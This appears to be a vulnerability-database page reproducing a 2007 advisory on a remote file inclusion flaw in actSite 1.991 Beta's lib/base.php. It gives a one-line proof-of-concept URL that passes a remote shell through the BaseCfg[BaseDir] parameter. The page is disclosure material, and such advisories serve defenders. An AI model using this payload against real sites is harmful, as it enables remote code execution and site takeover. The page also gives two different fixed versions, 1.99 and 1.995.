Lucene search

actSite 1.991 Beta (base.php) Remote File Inclusion Vulnerability

🗓️ 01 Oct 2007 00:00:00Reported by DNXType

zdt🔗 0day.today👁 61 Views

actSite 1.991 Beta (base.php) Remote File Inclusion Vulnerability discovered by DNX on 02.09.2007. actSite is a PHP and MySQL based content management system. Affects $BaseCfg[BaseDir] in lib/base.php. Solution: Update to v1.99

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

=================================================================
actSite 1.991 Beta (base.php) Remote File Inclusion Vulnerability
=================================================================



                             \#'#/

                             (-.-)

   ---------------------oOO---(_)---OOo--------------------

   | actSite v1.991 Beta (base.php) Remote File Inclusion |

   |                     coded by DNX                     |

   --------------------------------------------------------

[!] Discovered: DNX

[!] Vendor: http://www.actsite.de

[!] Detected: 02.09.2007

[!] Reported: 02.09.2007

[!] Remote: yes



[!] Background: actSite is a content management system based on PHP and MySQL



[!] Bug: $BaseCfg[BaseDir] in lib/base.php



[!] PoC: 

    - http://[site]/[path]/lib/base.php?BaseCfg[BaseDir]=[shell]



[!] Solution: Install update to v1.995




#  0day.today [2018-01-03]  #

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

01 Oct 2007 00:00Current

7.1High risk

Vulners AI Score7.1